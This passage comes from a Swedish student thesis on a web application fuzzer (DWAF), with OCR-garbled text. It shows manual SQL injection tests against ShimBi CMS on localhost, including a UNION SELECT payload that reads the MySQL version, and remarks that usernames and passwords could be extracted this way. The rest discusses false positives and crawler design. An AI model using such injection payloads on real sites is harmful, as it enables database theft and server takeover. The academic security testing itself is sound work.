och skickar darfor hela SQL-kommandot direkt till SQL-databasen. Dérefter skickar data-
basen tillbaka ett felmeddelande.

¥ Mozilla Firefox

File Edit Miew History  Bookmarks Tools  Help

i; 2 . | |http:,l',l'||:u:thn:ust,l'ShimBiCMS,l'details.php?id=1El?' 5 - |-‘]v|

J |j hl:tp:,.-’,.-’lucalhust,.-’...iIs.php?id=1l]T%2T| - |

Datahase error: Invalid 3QL: SELECT * from scl_mailletter where mailletter 1d=107V
MySOQL Error: 1064 (Y ou have an error in your S0 L syntax, check the manual that cornt
MWy= 0L server version for the right syntax to use near " at line 1)

=ession halted,

Done

Figur 8.4. Manuellt test av SQL-injection i ShimBi CMS.
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Nedan visas ett test dar man forsoker ta reda pa versionen pa den installerade MySql-
applikationen pa servern. Genom att @ndra pa SQL kommandot kan man &ven ta reda pa
virdefull information sa som anvindarnamn och 16senord. Pa sa sitt kan man ta kontroll
over servern.

%) Mozilla Firefox

File Edit Mew Histary Bookmarks Tools  Help

i; * C X «i | ‘http:,I',f||:u:alhl:|st,l'5himBiCMS,I'dEtaiIs.php?id=1lil? UNION SELECT 1,2,3,4,version(),6,7,5

J |j htl:p:,.-",-"lucalhusl:,.f'...ils.php?id=1l]?°.'-"n2'."I - |

5.0 892-community

3

Copyright @ 2011 (Beta) All rights reserved. Powered by ShimBi TS

Done

Figur 8.5. Manuellt test av SQL-injection i ShimBi CMS.
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Kapitel 9

Diskussion

Av resultaten i foregaende avsnitt ser vi tydlig en enkel men vil fungerande webbapplika-
tionsfuzzer som identifierar sikerhetsbuggar av typen SQL-injection och XSS &ver en do-
min med flera webbapplikationer. Det gar dven att med sma modifieringar ldgga till andra
sorters sarbarhetstyper av typen LFI, RFI. RCE och mojligtvis d@ven andra sarbarhetstyper
som anvinder modifiering av en URL for att hitta buggar och sékerhetshal.

Det maste dock tilliggas att ett av huvudsyftena med det hir projektet var att efter en
lyckad implementation av fuzzer-applikationen sa skulle CSCs rapp-system testas'. Detta
var under planeringsfasen lite underskattat och resulterade i att vi stotte pa problem som
skulle tvinga oss att dndra stora delar av en vilfungerande kod. Problemet 1ag i att for att
kunna fuzza olika delar av Rapp sa maste en inloggning ske forst. Inloggningen sker med
hjélp av kakor som Rapp tillhandahéller fran inloggning pa ett kth.se-konto. D4 inloggning
pa nitet sker pa olika sitt och p.g.a. tidsbrist valde vi att inte gora nagra storre foréndringar.
Vi kan dirfor dra den slutsatsen att det dr ganska svart att gora generella fuzzers som ocksa
dr létta att modifiera och anvénda.

Crawler-delen var till en borjan ganska litt att implementera. Men vid identifiering av
korrekta ldnkar blev det ganska komplicerad och tidskrdvande. Hér skulle ett véletablerat
API, parser [13], DOM eller en crawler-applikation vara att féredra. Vi sdg ocksa att det
var stor skillnad mellan att traversera enkeltradad och att traversera flertradad. Det gick
nirmare bestdimd 5-10 ganger snabbare med en flertradad traverser.

Buggidentifiering (felloggen) i DWAF fungerar ganska bra. Det som dock har varit
svart att implementera dr att avgora ndr det blir s.k. “false-positive”. Detta sker ganska
ofta i fas-2 (phase two) av SQL-injection testet. Detta sker pga. att sidan som ska fuzzas
maste laddas forst en gang och spara innehallet, och sedan matas samma sida med fuzz-
data och sidan laddas om pa nytt. Sedan sker en jaimforelse mellan dessa tva omgangar. Om

"Rapp ir ett férhallandevis nytt resultatrapporteringssystem fér CSCs kursansvariga och kursdeltagare.
Rapp ér intressant for webapplikations-fuzzning for att det dr ett relativt nytt system, och dirfor &r ett rimligt
antagande att manga buggar dnnu inte upptickts [2].
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KAPITEL 9. DISKUSSION

innehallet i sidorna skiljer sig fran varandra, sa registreras det som en bugg. Problemet &r
att vid de tillfdllen dér sidorna innehaller inbdddad dynamisk reklam, eller annan dynamisk
data sa kan en “false-positive”-bugg registreras. Hir skulle man kunna anvinda en befintlig
eller implementera nagon sorts bittre jamforelsemetod dn den vanliga tecken-mot-tecken
jamforelse som finns implementerad i java biblioteket.
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Bilaga A

Lank till DWAF-material

Foljande lank ir till fuzzer-programmet DWAF inklusive dess killkod. Det idr fritt fram
att ladda ner, dndra och vidaredistribuera under GPLv3-licens: http://bitbucket.

org/HFM/dwaf
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